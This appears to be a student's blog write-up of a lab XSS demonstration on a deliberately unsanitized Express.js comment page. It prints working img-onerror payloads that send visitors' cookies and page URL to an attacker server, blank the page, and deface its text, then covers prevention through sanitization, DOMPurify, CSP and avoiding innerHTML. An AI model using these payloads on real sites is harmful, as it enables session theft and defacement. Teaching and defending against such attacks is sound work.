7 min read
Cross-Site Scripting (XSS) Demonstration

Topics: Fullstack Web Development, Security

Stack: HTML, Javascript, Node.js, Express.js

In the Fall semester of 2024 I took Computer System Security. This class was really interesting! Half of the class time, the lectures and exams, was based on defending against potential attacks and creating secure systems to prevent attacks from happening. The other half of the class, projects, was exploring how to implement and research different attacks. This article is about my final project for the class, a Cross-Site Scripting attack demonstration.

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting, abbreviated as XSS, is a type of security exploit that runs code on a website that does not belong to the attacker. The website would be appear to be a normal, trustworthy website that you may have even visited before without issues. Without properly handling user submitted content though, the website could be performing malicious actions against the website’s visitors.

Staging Ground

For ethical and legal reasons, this attack demonstration was not carried out on a live website of course. Earlier in the semester we configured a network of virtual machines. For this demonstration two different virtual machines were used: the web server running on Ubuntu and the attacker machine running on Kali. A virtual pfSense router was set up as well to connect the two machines together.

Web Server

On the Ubuntu virtual machine I created a web server. I chose to write the server in Express.js for this project. I chose Express.js because it seemed like the fastest way to get the server up and running on a tight deadline. Previously I have made a simple web server using Go, which has a lot of really nice HTTP server features built right into the standard library, but I wanted to try a different method this time. Using Express.js turned out to be a great choice! I was able to get the server up and running extremely quickly.

On the web server I served a single static web page made to look like a blog article with a comment section.

Screenshot of blog page

When a comment is submitted by the user the website makes a POST request using the Fetch API to send the content of the comment box and the username of the commenter to the server. The server then converts the text into JSON along with a timestamp and stores the file locally on the server. For the sake of time and simplicity I didn’t bother with setting up an actual database to store the comments. Whenever the page is loaded the front end makes a GET request to the server to retrieve all of the comments for the page, then inserts them into the page via Javascript.

Crucially to this demonstration, the user’s comment text and username are not sanitized in any way, so any code left in the comment by the user will be run when it is inserted into the web page.

The Attack

On the Kali machine I created a separate web server, again using Express.js. This server exists to capture information from visitors to Frog Blog after an XSS attack has been submitted. The attacking server can receive POST requests, which it will convert into JSON as well and store locally.

For the XSS attack itself I relied mainly on the <img> tag’s onerror attribute. The onerror attribute executes Javascript if the image encounters an error, such as a 404 error when trying to load the image. Since I also gave the img tag a bogus src, the code will always execute.

The first attack violates the confidentiallity of any user visiting the web page by collecting the user’s local cookies, IP address, and the URL of the page visited.

<img 
src='x' 
onerror="
    let cookies = document.cookie;
    let thisURL = window.location.href; 
    let data = {cookies: cookies, thisURL: thisURL}; 
    fetch('http://192.168.20.13/submit', 
     {method: 'POST', headers: {'Content-Type': 'application/json'},
     body: JSON.stringify(data)})
     .then(response=>response.text())
     " >

Attacker submits the above code in a comment

Visitors to the website will execute the above code automatically, and silently send local information to the attacker’s server.

JSON file with visitor&#x27;s IP address and cookies

In this example the cookies for the website include the user’s username, password, and session ID. This is a really bad idea and obviously gives the attacker easy access to one’s account, but even a slightly better thought out website might still include sensitive data inside of cookies. Just having someone else’s session ID could allow an attacker to take over the user’s account, or depending on the website this attack could be modified to collect any other information on the page as needed.

I also created two similar attacks to violate the availability of the page, and the integrity of the page’s contents. These two attacks are much more simple.

<img src='x' 
onerror="document.body.innerHTML=''" >

This attack removes all text in the body of the page as soon as the code is executed.

Similarly, the content of the page can instead be changed. This is a more subtle approach that could fool visitors to the website and spread misinformation.

<img src='x' 
onerror="document.getElementsByTagName('p')[0]
.innerText='Frogs are really lame.'" >

The above example replaces the contents of the first paragraph on the page with a defamatory message.

The text on the page has been changed to "Frogs are really lame"

In all of these examples the user’s comment will appear as a broken image along with any text that was outside of the <img>.

The attacker&#x27;s comment with a broken image icon

Prevention

This type of XSS attack can be avoided with a couple of preventative measures.

  1. It’s a good idea to not store sensitive user data inside of cookies. If the data isn’t there to begin with, it can’t be stolen through an XSS attack or another malicious program running on the user’s machine.

  2. User input should be sanitized. In this type of website there is no reason that an HTML tag should be rendered, so removing any HTML tags before the comment is submitted to the server is a good idea. If HTML tags or other code do need to be stored in the comment, like for a blog related to programming, you must be careful with how that code is inserted into the page to ensure it is not executed. This could be achieved through an npm package such as dompurify.

  3. Use a proper Content Security Policy (CSP) on your website. CSP allows you to specify which URLs can be accessed from within your website. You can specify any API endpoints you may be using so that they can be communicated with, and block all others. With a proper CSP the user’s confidential information should stay confidential even if malicious code does slip by. This can be configured through either the HTTP Header on the web server or through a <meta> tag in the HTML.

  4. Don’t insert user data into the page using innerHTML. This renders the entirety of the user data as real HTML, rather than a text-only representation of the HTML (if any is present), which would allow <script> or <img> tags to be executed. Instead, use innerText as needed, and insert the user data into your own HTML tags as needed.

Conclusion

Cross-Site Scripting attacks on web pages can be extremely dangerous to your website’s users and to the website’s reputation. Knowing how a web page can be vulnerable to XSS and ways to prevent such attacks is crucial to any website that can accept user input, and proper research and best practices must be used to ensure that your website remains secure and safe for your visitors.